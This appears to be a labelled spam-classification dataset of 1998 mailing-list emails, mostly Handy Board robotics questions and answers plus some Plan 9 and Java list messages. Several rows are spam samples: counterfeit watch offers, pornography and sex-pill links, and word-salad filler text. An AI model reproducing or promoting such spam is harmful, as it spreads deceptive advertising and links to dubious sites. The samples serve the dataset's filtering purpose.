Subject: Good 9V motor source -Reply jameco (www.jameco.com) has several new gear head motors in the 3-12v range with various gear ratios. I ordered two for my latest project and they seem to be solid and up to the task. jameco's latest catalog also has some robotic stuff including molded gears and chains to help with the drive chain. check it out... -Drew >>> ""chrisj@mindless.com"" 11/29/98 05:42pm >>> Hi all....I'm looking for a good source of 9V gear motors that i could use with the handyboard for a mobile robot. Currently, i am just using Any advice on good drive systems would be greatly appreciated.",0,0 DjKOz97@aol.com,handyboard@media.mit.edu,"Mon, 30 Nov 1998 10:07:47 -0500",Logic level conversion,"I have a device that uses 0 - 3V logic levels for the data output. What can I do to convert the output to match the 68HC11's 0 - 5V logic level? Thanks for the help, Dave ",0,0 phillip chia ,handybd ,"Sun, 29 Nov 1998 23:25:21 +0800",stepper motor standard libary,"hi, i need to know that is there any standard libary files in the Interactive C software required if i want to use a stepper motor ? If Yes, how should I porceed it ? rgds, phillip ",0,0 Carol Vernon ,Ruth ,"Mon, 30 Nov 1998 11:10:10 -0100",Re [6]:," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. 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DjKOz97@aol.com wrote: > > I have a device that uses 0 - 3V logic levels for the data output. > What can I do to convert the output to match the 68HC11's 0 - 5V logic level? > Thanks for the help, > Dave ",0,0 Darkman ,"phillip chia , handybd ","Mon, 30 Nov 1998 12:06:57 -0500",Re: stepper motor standard libary,"check out this page http://www.cctc.demon.co.uk/stepper.htm -----Original Message----- From: phillip chia To: handybd Date: Monday, November 30, 1998 11:45 AM Subject: stepper motor standard libary >hi, >i need to know that is there any standard libary files in the Interactive >C software required if i want to use a stepper motor ? > >If Yes, how should I porceed it ? > > >rgds, >phillip >",0,1 bone@varesearch.com,ggilfoyl@richmond.edu,"Mon, 30 Nov 1998 09:25:25 -0800",cluster quote," I wanted to check in and make sure you got my latest quote for the Linux cluster you and Tim had been discussing. Please let me know if you have any questions or need a revised quote. I can be reached at 1-888-LINUX-4U x125, or via sales@varesearch.com. Doug VA Research ",0,0 Antonia ,"handyboard@media.mit.edu, larry@media.mit.edu, brittney@media.mit.edu, leann@media.mit.edu, nanette@media.mit.edu, lesa@media.mit.edu, lance@media.mit.edu","Mon, 30 Nov 1998 09:01:58 -0500",This needs to be tried,"may liechtenstein not niche be emplace not vesicular in chariot ",1,0 """Kevin B. Smith"" ",handyboard@media.mit.edu,"Mon, 30 Nov 1998 12:28:36 -0700",What needs to be done to get both the Floating point fix & the Smooth PWM?,"What changes need to be done to get both the floating point fix in IC v. 3.2 beta 1 and the smoother PWM functions? > Thanks, > > Kevin Smith ",0,0 Justin Daniel Gullotta ,handyboard@media.mit.edu,"Mon, 30 Nov 1998 15:27:44 -0800",time usage,"hello, i am having trouble conserving time in my IC code. i am using an analog() function, and a motor() function. does anyone know how long it takes to execute these functions? also, do the encoder functions that are posted on the website take much time in their execution? i am trying to fit my code within a 1 mS timeframe, right now, it takes about 26mS. is there any way that i can save time? thanks for any help. -- Justin D. Gullotta.. Undergraduate Research Project Center for Automation Technologies Rensselaer Polytechnic Institute Troy, New York 12180-3590 Email: gulloj@rpi.edu ",0,0 Tom Duff ,9fans@cse.psu.edu,"Mon, 30 Nov 1998 12:39:52 -0800",Re: [9fans] RC shell,"On Nov 26, 10:36am, Russ Cox wrote: > Subject: re: [9fans] RC shell > #!/bin/sh > TESTS=full.test > > cat $TESTS | > while(TESTLINE=`{read}) { > ... > } I would write #!/bin/rc TESTS=full.test ifs=' ' # newline only for(TESTLINE in `{cat $TESTS}){ ... } but what do I know? -- Tom Duff. I hate quotations. -Ralph Waldo Emerson ",0,0 Will Brooks ,gilfoyle ,"Mon, 30 Nov 1998 16:48:50 -0500",Re: some news and a question,"The model I'm working on is that some person is the 'run manager' for each farm, and launches all the runs and keeps track of them. At UVA it's Cole, at MIT it's David Rowntree, at UVA it's either Junho Yun or an undergraduate, at JLAB it's me so far. The manager doesn't have to be local to the farm but it obviously helps. This could also be cast as a service work project. We're not asking people to relinquish control of their farms in any way (unless that's the way they want to use it). Let me know if there are more specifics you want. - Will gilfoyle wrote: > hi will, > > we're in the midst of preparing our doe grant renewal > and we're asking for money to develop a cluster analogous > to the ones at uva, odu, etc. i wanted to let you know > that if we get the cluster, it will be available to the > gsim focus group for simulation. we haven't worked out in > detail the way the gsim group will use the cluster and i > was wondering if you have any advise for us? > > jerry > > -- > Dr. Gerard P. Gilfoyle > > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 bone@varesearch.com,ggilfoyl@richmond.edu,"Mon, 30 Nov 1998 14:11:28 -0800",Re: [sales] Re: cluster quote," >requested a memory upgrade to 256 Mbyte of ram for each node. in >the dual cpu configuration does each cpu get half or 128 Mbyte >or ram? is the ram arbitrarily divided between the dual cpus? Each CPU has access to all RAM, i.e. it is not partitioned ahead of time. They acquire RAM as needed. Doug VA Research ",0,0 pat@hacker.isdn2.tek.com,9fans@cse.psu.edu,"Mon, 30 Nov 1998 14:48:37 -0800",[9fans] pop3 client,"I would like to access mail on a unix server running pop3 from my plan9 system without having to 'con' to a unix host. Any suggestions? Is there a pop3 client up and running in plan9 which integrates to upas? Thanks for the help. Pat reply-to: pat.hacker@tek.com ",0,0 Russ Cox ,9fans@cse.psu.edu,"Mon, 30 Nov 1998 18:02:43 -0500",re: [9fans] pop3 client,"There's a pop3 client I wrote and used for a while a year ago at http://plan9.bell-labs.com/~rsc/pop3get.c It's somewhat rough, but if you're willing to spend a little time hacking at it it's probably fairly usable. The invocation was something like pop3get -drN maxsize -s secretfile server -d deletes the messages when done. if you don't delete, you'll get the same messages next time. -r reads the mail box in reverse order; you won't need this flag. -N max sets a maximum message size to download. -s secretfile reads a password from file. pop3get downloads the mail and then runs upas/sendmail to deliver it to the local user. There are references to MD5 routines from a non-existant to do challenge-response authentication. If all you want is password, just comment out the MD5 calls and specify the -p flag to use plaintext passwords. If you want challenge-response, you can probably pull the appropriate MD5 code from /sys/src/cmd/md5sum.c Finally, you'll see that the sendmail call calls upas/mysendmail and not upas/sendmail. I think the difference was that mysendmail pulled the sender from the From: line if there was no Unix-style From line; that was some bit of ugliness I never got around. I don't remember. Like I said, it's a little rough in places, but it's a start. I'ld be interested in any changes. An alternative place to look would be Eric Raymond's fetchmail, which does a functionally similar thing; I don't know how hard it would be to port to Plan 9. It delivers the mail by connecting to port 25 of the local machine, so you'ld need to be running smtpd, and you'ld need David Butler's loopback device to get 127.0.0.1. Russ",0,1 Charity Leach ,handyboard@media.mit.edu,"Mon, 30 Nov 1998 14:33:38 -0400",Amigo!,"""Couldn't we have some stratagem?"" said Peter. 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They now turned and took a last look at the Emerald City.",1,1 Eric Noyau ,handyboard@media.mit.edu,"Mon, 30 Nov 1998 16:42:07 -0800",HandyBoard and iMac?," I'm replacing my aging home PC with an iMac (look at my email address: I can get one dirt cheap!) and I'm wondering if I can use it to pilot my trusty HandyBoard. Anybody have any experience in this area? I'd like to throw away the PC... The iMac has no serial port, only USB connectivity but there is third party USB to Serial connectors available (http://www.keyspan.com/products/USB/adapter, http://www.momentuminc.net/products/uConnect.html or http://www.griffintechnology.com/imac/iport.html). I just like to know if anybody ever tried one of those thing. Or if there is any plan to upgrade the handyBoad to USB ;^) -- Eric ",0,1 forsyth@caldo.demon.co.uk,9fans@cse.psu.edu,"Tue, 01 Dec 1998 00:56:59 +0000",re: [9fans] pop3 client,">>it would be to port to Plan 9. It delivers the mail by connecting >>to port 25 of the local machine, so you'ld need to be running >>smtpd, and you'ld need David Butler's loopback device to get 127.>>0.0.1. alternatively, just pipe: cat /bin/service/tcp25 and follow instructions, for the far end of the pipe. ",0,0 Scott Schwartz ,9fans@cse.psu.edu,"Mon, 30 Nov 1998 20:07:44 -0500",Re: [9fans] pop3 client ,"Actually fetchmail has an option to run the delivery agent of your choice. tcp25 is just the default. Drifting away from pop for a moment, a 9p interface to imap would be somewhat more interesting, as well as more in the plan9 spirit. ",0,0 Darkman ,"handyboard@media.mit.edu, Eric Noyau ","Mon, 30 Nov 1998 21:03:19 -0500",Re: HandyBoard and iMac?,"It doesn't even have a floppy drive! -----Original Message----- From: Eric Noyau To: handyboard@media.mit.edu Date: Monday, November 30, 1998 8:39 PM Subject: HandyBoard and iMac? > >I'm replacing my aging home PC with an iMac (look at my email address: I can get one dirt cheap!) and I'm wondering if I can use it to pilot my trusty HandyBoard. Anybody have any experience in this area? I'd like to throw away the PC... > >The iMac has no serial port, only USB connectivity but there is third party USB to Serial connectors available (http://www.keyspan.com/products/USB/adapter, http://www.momentuminc.net/products/uConnect.html or http://www.griffintechnology.com/imac/iport.html). I just like to know if anybody ever tried one of those thing. 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The Newton Labs ftp site has the smoothpwm files available from: ftp://newtonlabs.com/contrib/smooth-pwm/ If someone can get me the code for the FP fix, I'll see if I can get a new pcode built - RL has been pretty heavy lately, so I've missed most of the recent HandyBoard traffic.... :( Thanks Scott ",0,0 Paula ,handyboard@media.mit.edu,"Tue, 01 Dec 1998 21:04:49 -0400",Russiann splendid Teen hardcoore acttion.," Young delicious virgiins at harrdcore Pornoo. http://sborischess.com/fppxporn.htm?iSPhfd.fX,hj U,N,S,U,B,$,C,RR,l,B,E http://sborischess.com ",1,1 """Fred G. Martin"" ",Eric Noyau ,"Tue, 01 Dec 1998 08:32:07 -0500",Re: HandyBoard and iMac? ,"hi eric, i haven't tried any of these products, but they *should* work. the mac hb software uses low level driver calls, so if that stuff is patched and translated to usb, it would work. but if i were you i'd get one and try it on an existing machine before buying one. please let us know the result. thanks. fred In your message you said: > > I'm replacing my aging home PC with an iMac (look at my email address: I can get one dirt cheap!) and I'm wondering if I can use it to pilot my trusty Handy Board. Anybody have any experience in this area? I'd like to throw away the PC. .. > > The iMac has no serial port, only USB connectivity but there is third party U SB to Serial connectors available (http://www.keyspan.com/products/USB/adapter, http://www.momentuminc.net/products/uConnect.html or http://www.griffintechno logy.com/imac/iport.html). I just like to know if anybody ever tried one of tho se thing. Or if there is any plan to upgrade the handyBoad to USB ;^) > > -- Eric > > ",0,1 """Mr H.L. Chin"" ",handyboard@media.mit.edu,"Tue, 01 Dec 1998 13:52:41 -0000",micro-mouse,"Hi, can anyone tell me what should I initialise before I start writting all my program for my robot in a microcontroller. Thank you Chin ",0,0 Anakin Regis ,handyboard@media.mit.edu,"Mon, 30 Nov 1998 21:54:24 -0700",Re: zubuc news,"De i ar Home O h wne n r , Your cr v ed b it doesn't matter to us ! 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Sonar number 1(#1)is working until check distance is nearly thing(*********), cleosed to thing. So sonar #2 will work later. Help me please. U R my hope. Thank a lot. Bye Bee. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Eric Noyau ,Darkman ,"Tue, 01 Dec 1998 10:03:03 -0800",Re: HandyBoard and iMac?,"It doesn't bother me that much: I haven't used a floppy in two or three years. I have ISDN at home: it's way faster than a floppy ;^). -- Eric At 18:03 11/30/98 , Darkman wrote: >It doesn't even have a floppy drive! > >-----Original Message----- >From: Eric Noyau >To: handyboard@media.mit.edu >Date: Monday, November 30, 1998 8:39 PM >Subject: HandyBoard and iMac? > > >> >>I'm replacing my aging home PC with an iMac (look at my email address: I >can get one dirt cheap!) and I'm wondering if I can use it to pilot my >trusty HandyBoard. Anybody have any experience in this area? I'd like to >throw away the PC... >> >>The iMac has no serial port, only USB connectivity but there is third party >USB to Serial connectors available >(http://www.keyspan.com/products/USB/adapter, >http://www.momentuminc.net/products/uConnect.html or >http://www.griffintechnology.com/imac/iport.html). I just like to know if >anybody ever tried one of those thing. Or if there is any plan to upgrade >the handyBoad to USB ;^) >> >>-- Eric >> >",0,1 Andre Philippi ,,"Tue, 01 Dec 1998 13:12:37 -0800",Hacking Servos,"Howdy Folks :) I remember reading a web doc a while ago on how to convert servos so their shafts can rotate more than 180 degrees... It was a nice doc, with pics, schematics, and everthing... but I lost the URL... :( Does any one know what doc am I talking about? Does anyone know this doc's URL? Does anyone know any other docs on how to hack servos, please? I think it has something to do with a plastic pice that blocks the gears from moving more than the what the manufacturer specified... Thanks in advance, Andre Philippi. -- ================================================================= Andre Philippi - Applications Developer | Phone: 626-296-5016 philippi@corp.earthlink.net | Fax: 626-296-5113 Earthlink Network, Inc. | 3100 New York Drive http://www.earthlink.net | Pasadena, CA 91107 ================================================================= ",0,1 Barry Brouillette ,Andre Philippi ,"Tue, 01 Dec 1998 17:42:14 -0500",Re: Hacking Servos,"Andre Philippi wrote: > I put together a page with detailed instructions that has been used by a number of high school students without any problems. The robot is based on a Basic Stamp but the servo modifications are easy and work with any controller. http://reality.sgi.com/employees/barry_detroit/robot.html Barry ",0,1 brett anthony ,'Andre Philippi' ,"Tue, 01 Dec 1998 15:03:38 -0800",RE: Hacking Servos,"Yeah, I remember seeing that one; I may actaully have the info at home... Anyway, an R/C servo has a hard stop to limit travel because the electronics use a simple potentiometer on the output shaft for position feedback. These pots typically have ~300 deg. max travel, so the servo has a limit tab on the output shaft (or it's gear) to protect this pot. You CAN remove this stop, but you also then have to remove the pot, and the electronics, and wire the servo motor as a simple motor. This is actually a nifty way to make a small, torquey, gearmotor; but it isn't a servo anymore. If you could find a multi-turn pot of the same value, that fits is the case, you could make a multi-turn servo, but it might be easier to buy a ""sail winch servo"" which does the same thing. Brett Anthony Equipment Technician College of Engineering and Computer Science California State University, Sacramento Postal Mail: Brett Anthony CSUS, E&CS 6000 J St. Sacramento, CA 95819-6023 email: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 ",0,0 Andre Philippi ,Barry Brouillette ,"Tue, 01 Dec 1998 15:41:16 -0800",Re: Hacking Servos ," Thank you all very much for your help :) Best, Andre. Barry Brouillette wrote: >I put together a page with detailed instructions that has been used by a >number >of high school students without any problems. The robot is based on a >Basic Stamp but the servo modifications are easy and work with any >controller. > >http://reality.sgi.com/employees/barry_detroit/robot.html > >Barry > ================================================================= Andre Philippi - Applications Developer | Phone: 626-296-5016 philippi@corp.earthlink.net | Fax: 626-296-5113 Earthlink Network, Inc. | 3100 New York Drive http://www.earthlink.net | Pasadena, CA 91107 ================================================================= ",0,1 Max Gay ,handyboard@media.mit.edu,"Wed, 02 Dec 1998 03:55:59 -0500",putting stress on a backburner,"and distillate and seditious on whitewash see howdy not haulage ",1,0 patcharin sumretsin ,handyboard@media.mit.edu,"Wed, 02 Dec 1998 05:05:04 -0800",sonar,"what program to control about 2sonar.jpg? how i adjust program (sonar.c) for 2 sonar in picture 2sonar.c? ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Shiva Sinha ,handyboard@media.mit.edu,"Wed, 02 Dec 1998 09:54:42 -0500",motor code questions,"Hi, I got my Handyboard up and going and was trying the following code for driving my motors. (Figure I would try known code before forking out on my own). The code I got from the 'Inspiration to implemntation' book. Anyways it does not seem to drive the motors (no LEDs lighting), and I was wondering if any one knows of any problems with the code. I've looked it over and it seems pretty reasonable. Thanks in advance, Shiva Sinha ---------------------------------------------- int write_port (int port, int value, int mask) { poke(port,(value & mask) | (peek(port) & ~mask)); } void motor_cmd(int l_ena, int l_dir, int r_ena, int r_dir) { write_port(port_a, (l_ena & m_mask_l) | (r_ena & m_mask_r), m_mask); write_port(port_d, (l_dir & m_mask_l) | (r_dir & m_mask_r), m_mask); } void move(int operation) { if (operation == STOP) motor_cmd(off_,0,off_,0); else if (operation == FORWARD) motor_cmd(on,fwd,on,fwd); else if (operation == BACKWARD) motor_cmd(on,bkw,on,bkw); else if (operation == LEFT_TURN) motor_cmd(on,bkw,on,fwd); else if (operation == RIGHT_TURN) motor_cmd(on,fwd,on,bkw); } ",0,0 Chris Johnson ,Shiva Sinha ,"Wed, 02 Dec 1998 17:17:26 -0500",Re: motor code questions,"The handy board is so user-friendly you dont have to go to all that trouble. you control the motor ports using the HB library functions fd, bk, off, alloff, and motor. fd(int m) and bk(int m) simply turn the specified motor on (forward or reverse) at full power. off(int m) obviously turns motor port m off. alloff() turns them all off (!) and the motor(int m, int p) turns motor m on at power level p, where p is between -100 (full reverse, and 100, full forward); however there are only 8 real power steps. because the HB library has already defined functions to use those ports, your code probably interferes with them. i based my first hb robot on the code from the same book, simply taling out all those functions that the HB already includes in the library. hope that makes things simpler. -Chris Johnson Shiva Sinha wrote: > > Hi, > > I got my Handyboard up and going and was trying the following code for > driving my motors. (Figure I would try known code before forking out on my > own). The code I got from the 'Inspiration to implemntation' book. Anyways > it does not seem to drive the motors (no LEDs lighting), and I was > wondering if any one knows of any problems with the code. I've looked it > over and it seems pretty reasonable. > > Thanks in advance, > Shiva Sinha > ---------------------------------------------- > int write_port (int port, int value, int mask) > { poke(port,(value & mask) | (peek(port) & ~mask)); } > > void motor_cmd(int l_ena, int l_dir, int r_ena, int r_dir) { > write_port(port_a, (l_ena & m_mask_l) | (r_ena & m_mask_r), m_mask); > write_port(port_d, (l_dir & m_mask_l) | (r_dir & m_mask_r), m_mask); } > > void move(int operation) { > if (operation == STOP) > motor_cmd(off_,0,off_,0); > else if (operation == FORWARD) > motor_cmd(on,fwd,on,fwd); > else if (operation == BACKWARD) > motor_cmd(on,bkw,on,bkw); > else if (operation == LEFT_TURN) > motor_cmd(on,bkw,on,fwd); > else if (operation == RIGHT_TURN) > motor_cmd(on,fwd,on,bkw); > } -- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGP for Personal Privacy 5.0 mQGiBDR/OMoRBADeAqHm3gnMduYuUW2nFQGomhAl9+pYsPB9DSjMN2wF2M1aG5U9 gTGiMx7WcAMa6nU3G/mw9f8EHxUJ/fpIkDUuYB4v9utCoLLScDaww5iUAFa4yMvd tdItU4FIWdrCfiV0FlbWUylLjgKt3ikmsN/AaTpZzVwJoh+BX8YQNJQUbwCg//kZ xS2gSwQ1WZ/AO7vHx3Vfn4ED/iE2RuYvl5mqZBOGX3AcLr2HNYQYC2kHghYbik7T 84GoWrtFNYshj9DyhIkJjOUJqcFHAlZidXUStonuJst3R9Ch+6aaM4+3Os8/NmI7 /nHyxwtBIoh5w0MWqf1HdTIn8qAJQtr0scnFQ4AgglVAfVjULIQuKhNHZongVx4V KQfMA/9m+Kd094nbfODjw2odMCO49+Vbw81XwHw09PGeP5BKuwuhQ5hOQ1Wb2acP +6I1kp4wsa76oDGDstELG7srubJUeDCJlCS1nj8Sfjt3HfxG/8XAC/rE6O21xB/o 3kisKOGD3048SR2kgnyF/3H+LeQT0W5w9r+yfo+ouKyXLTCArLQjQ2hyaXMgSm9o bnNvbiA8Y2hyaXNqQG1pbmRsZXNzLmNvbT6JAEsEEBECAAsFAjR/OMoECwMBAgAK CRDuxvTDCzVNzWHzAJ4yE3SsVevv4L5scUsTebt2fCoIOgCgszvlEQo3ldx99uWC GC77VfYGjX+5Ag0ENH84yxAIAPZCV7cIfwgXcqK61qlC8wXo+VMROU+28W65Szgg 2gGnVqMU6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyDvWXpF9Sh01D49Vlf3HZSTz09jdvO meFXklnN/biudE/F/Ha8g8VHMGHOfMlm/xX5u/2RXscBqtNbno2gpXI61Brwv0YA WCvl9Ij9WE5J280gtJ3kkQc2azNsOA1FHQ98iLMcfFstjvbzySPAQ/ClWxiNjrtV jLhdONM0/XwXV0OjHRhs3jMhLLUq/zzhsSlAGBGNfISnCnLWhsQDGcgHKXrKlQzZ lp+r0ApQmwJG0wg9ZqRdQZ+cfL2JSyIZJrqrol7DVekyCzsAAgIIANpJiJRBxPGs bayiJsz46ruKs/mNUX1Ol4RqoAjVPXNmXo0bfaZffFAa/1f7Ds3yY40AWXHrdeZW us82amdKhQ0IUnmV0uJwDCqeEqBVysQ+iAyKQJdZfMKjVAe9lxyw+8FFlpCLYLyi LC8T8ktRq90BfrRvBp84c0wpvIGvZzUfp3fTwhRUhS4qYyV9rXosjwK5tLDfMDue t5ND1qa1MivuMtUDtPVrjhJMIuN6NR6A3MVNDQpFuGRydzLi1q41XDb0TkSYrJvV zeB/dIXfAJXqCHNLPvqZ4E9peL8Ao6dlQB9JhYW11tIlm8fEHhUdKIe10SIQWg8L UrqBqjnkl02JAD8DBRg0fzjL7sb0wws1Tc0RAq6YAJ9rA24deVqquBOPJjO+7csg EbtyggCgoXnQvI1x2tM/LRgt98+YeKKqeR0= =xN4/ -----END PGP PUBLIC KEY BLOCK----- ",0,0 Aaron Edsinger ,handy ,"Wed, 02 Dec 1998 21:57:00 -0800",Assembler math/PID,"Hello, I am writing PID code that runs on the system interrupt. I am finding that I have to rewrite alot of the great math functionality available through IC. Does anyone know of a way to use an IC function on a regular system interrupt schedule? Thanks, Aaron ",0,0 Eileen ,'Marcella' ,"Thu, 03 Dec 1998 03:46:11 +0400",Increase Penis Size," Hi friend: We have quality product to help you Enjoy better sex life. All products come with 100% money back guarantee http://62.193.225.122/sm/ Increase your sperm vol by 500% guaranteed... http://62.193.225.122/ps/ Add 3inchs to your penis size or we refund ... http://62.193.225.122/et/ New formula enjoy sex longer... convinceg7890hjfdefshsajksa ",1,1 """Nelson H. F. Beebe"" ","java-sig@csc-sun.math.utah.edu, java-users@csc-sun.math.utah.edu","Thu, 03 Dec 1998 09:59:52 -0700",New article on JDK 1.1 -> 1.2 migration,"Some of you may be interested in this new article: @String{j-DDJ = ""Dr. Dobb's Journal of Software Tools""} @Article{Hittleman:1999:JQW, author = ""Kenneth Hittleman and Ted Leung"", title = ""{Java Q and A}: What's in Store when Moving from {JDK 1.1} to {JDK 1.2}?"", journal = j-DDJ, volume = ""24"", number = ""1"", pages = ""112--115"", month = jan, year = ""1999"", CODEN = ""DDJOEB"", ISSN = ""1044-789X"", bibdate = ""Thu Dec 3 09:32:09 MST 1998"", URL = ""http://www.ddj.com/ddj/ftp/1999/1999_01/jqa199.txt"", abstract = ""Are you ready to move from JDK 1.1 to JDK 1.2? Ken and Ted tell you what to expect. Additional resources include jqa199.txt (listings)."", acknowledgement = ack-nhfb, } ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 322 INSCC beebe@acm.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 ruizvic@mx1.ibm.com,handyboard@media.mit.edu,"Thu, 03 Dec 1998 10:42:31 -0700",Sonar question," Hi to all, I would like to know what difference there are if I connect the 6 diodes between the Handy Board & the Polaroid Sonar Card. Can I connect the cards without diodes? I tested the voltage at the Catode at the end of the 6th diode and my Voltmeter showed 4.5 volts. Should we use the 3 amp diodes? Could somebody advise?... Thanks in advance for your information. :-) Victor G. Ruiz Aranda ruizvic@mx1.ibm.com Development Software T/L 877-7306. Ph Number 011-523-669-7306 GPL Guadalajara, Jal. Mexico. ",0,0 Will ,Handyboard Mailing List ,"Thu, 03 Dec 1998 11:28:55 -0700",Re: 2sonar,"patcharin sumretsin wrote: > > i use circuit on 2sonar.jpg . > if i use sonar.c program, how i adjust this program for 2 sonar > trasducers. ?(a picture on 2sonar.jpg) > i want to 1 sonar working single , don't together.or to alternate. > Sonar number 1(#1)is working until check distance is nearly > thing(*********), cleosed to thing. > So sonar #2 will work later. I haven't used the transducer multiplexor myself; I decided to just hook up a second sonar module to the HB in the same manner as the first is hooked up. It looks like using the multiplexor ought to be fairly simple, though. First off, in the drawing you have the 9 pins on the sonar module board backwards. Pin 1 is at the edge of the board and pin 9 is toward the middle of the board. It looks like the multiplexor uses pins PD2 and PD3 of the SPI port, each to switch on one of the tranducers (although it seems like a circuit could be designed to use just *one* digital output to toggle between the two!) To enable PD2 through PD5 as digital outputs, do a bit_set( 0x1009, 0x3C ) toward the top of your program. Note that this is a little different from the bit_set( 0x1009, 0x30 ) that's used in the original sonar.c, since that only required PD4 & PD5. The PD2 through PD5 pins are mapped to the middle four bits of byte 0x1008. Here's how to activate them: SONAR SPI PIN FUNCTION SEND HIGH (TURN ON) ---------- ----------- ----------------------- PD2 (MISO) transducer1 bit_set( 0x1008, 0x04 ) PD3 (MOSI) transducer2 bit_set( 0x1008, 0x08 ) PD4 (SCK) binh bit_set( 0x1008, 0x10 ) PD5 (SS) init bit_set( 0x1008, 0x20 ) To send a pin low (turn it off) simply do a bit_clear with the appropriate arguments in place of the bit_set. First, switch the first transducer on by sending PD2 (MISO) high. Then ping the sonar by sending PD5 high and wait for the echo as usual (see the sonar.c code on the HB web site). To switch to the other transducer, switch the first transducer off by sending PD2 low and then immediately switch the other transducer on by sending PD3 high. Ping as before. Make sure you don't initiate the ping without first switching one of the two transducers on! I hope my explanation isn't too confusing and that I didn't make any mistakes. Good luck! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, The real problem is not whether machines think, Will Bain, but whether men do. & Tatoosh --B. F. Skinner ",0,0 Darkman ,"ruizvic@mx1.ibm.com, handyboard@media.mit.edu","Thu, 03 Dec 1998 14:58:02 -0500",Re: Sonar question,"I'don't even bother using diodes at all I just use a 7805 voltage regulator that is well heat sinked and never had a problem with it -----Original Message----- From: ruizvic@mx1.ibm.com To: handyboard@media.mit.edu Date: Thursday, December 03, 1998 2:11 PM Subject: Sonar question > > >Hi to all, I would like to know what difference there are if I connect the >6 diodes between the Handy Board & the Polaroid Sonar Card. Can I connect >the cards without diodes? >I tested the voltage at the Catode at the end of the 6th diode and my >Voltmeter showed 4.5 volts. > >Should we use the 3 amp diodes? >Could somebody advise?... > >Thanks in advance for your information. :-) > > Victor G. Ruiz Aranda ruizvic@mx1.ibm.com > Development Software > T/L 877-7306. Ph Number 011-523-669-7306 > GPL Guadalajara, Jal. Mexico. > >",0,0 somewhere@unm.edu,"ruizvic@mx1.ibm.com, ""handyboard@media.mit.edu"" ","Thu, 03 Dec 1998 15:25:19 -0800",Re: Sonar question,"The Polaroid Sonar board requires a supply voltage less than 7 volts. The battery of the handy board is around 12, so you'll probably shorten the life of your sonar board considerably if you connect it straight in (i.e. burn it up :.)). The diodes are just a cheap way to reduce the supply voltage to a safe voltage. Any 6 volt source will due so long as you maintain a common ground with the handyboard battery supply. The 4.5 volts you measured is a little strange though, with the 6 diodes specified you should be reading about 6 volts. ruizvic@mx1.ibm.com wrote: > > Hi to all, I would like to know > what difference there are if I connect the > 6 diodes between the Handy Board & the Polaroid Sonar Card. Can I connect > the cards without diodes? > I tested the voltage at the Catode at the end of the 6th diode and my > Voltmeter showed 4.5 volts. > > Should we use the 3 amp diodes? > Could somebody advise?... > > Thanks in advance for your information. :-) > > Victor G. Ruiz Aranda ruizvic@mx1.ibm.com > Development Software > T/L 877-7306. Ph Number 011-523-669-7306 > GPL Guadalajara, Jal. Mexico. ",0,0 Tom Brusehaver ,somewhere@unm.edu,"Thu, 03 Dec 1998 16:42:50 -0600",Re: Sonar question," >The Polaroid Sonar board requires a supply voltage less than 7 volts. >The battery of the handy board is around 12, so you'll probably shorten >the life of your sonar board considerably if you connect it straight in >(i.e. burn it up :.)). The diodes are just a cheap way to reduce the >supply voltage to a safe voltage. Any 6 volt source will due so long as >you maintain a common ground with the handyboard battery supply. The >4.5 volts you measured is a little strange though, with the 6 diodes >specified you should be reading about 6 volts. The battery for the handy board is a 9.6V cell (8 * 1.2V cells in series.) A normal 1n400X diode will drop 0.7V each. (6 * 0.7 = 4.2) 9.6 - 4.2 = 5.4V ",0,0 Shiva Sinha ,handyboard@media.mit.edu,"Thu, 03 Dec 1998 18:30:45 -0500","motor questions using motor(x,y)","Hi all, The motor(x,y) function in the lib_hb.c file works as expected (the motor speed does vary depending on value given and the correct motor goes on), but when I actually have a motor in the header both LEDs go on! (and I get corresponding rotation in both directions). The activity (Led lighting and rotation)is primarily in the direction I want, but also the other direction. Any suggestions for a work around? Also it is evident at lower speeds (less than 50) only. ",0,0 hugo916@iname.com,FThompson9@aol.com,"Thu, 03 Dec 1998 19:39:12 -0500",Re: Extra output for clocking ," Thanks for the advice on the ouput compare and portA. What I realized was the CPU time is being shared by some many functions, like the LCD printing, IR, PWM, that I'm not getting a fast enough pulse from the motor ports. I disabled a lot of these features, and the stepper motors turned faster, but still not fast enough. I tried doing bit_set and bit_clr on the pins you told me, and it works, but I think the problem is that I'm still working inside the interpreter, which slows down the pulsing. I'm not sure if I can use the PWM somehow to do the pulsing. Do you or does anyone know if I can vary the freq. of the PWM so I can use that as a clocking signal? For incorporating assembly code, does the interpreter bypass that code and thus allow me to perform those functions faster? I'm not too sure how IC handles assembly code. Thanks again for your help. -Hugo --------------------------------------------------- Get free personalized email at http://www.iname.com ",0,1 Chetana Moran ,handyboard@media.mit.edu,"Thu, 03 Dec 1998 13:45:30 -0700",Re: your VAcLtUM,"Hi L V C A V X P e A I m I a r v L A b A n o i I L i G a z t U I e R x a ra M S n A c http://www.temaferte.com living in the beautiful hobbit-hole built by his father, which I have just described for you, until he had in fact apparently settled down immovably. By some curious chance one morning long ago in the quiet of the world, when there was less noise and more green, and the hobbits were still numerous and prosperous, and Bilbo Baggins was standing at his ",1,1 MAR ERICSON ,Handy Board mailing list ,"Thu, 03 Dec 1998 21:33:46 -0500",Two way audio,"Hi, We are trying to transmit our voices to our remote robot to create the impression that the robot is talking. In addition, we want to be able to hear what the robot hears. Does anyone know any products that we can attach to our robot that will enable something like this? Thanks for any input. :) ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- ",0,0 Aaron 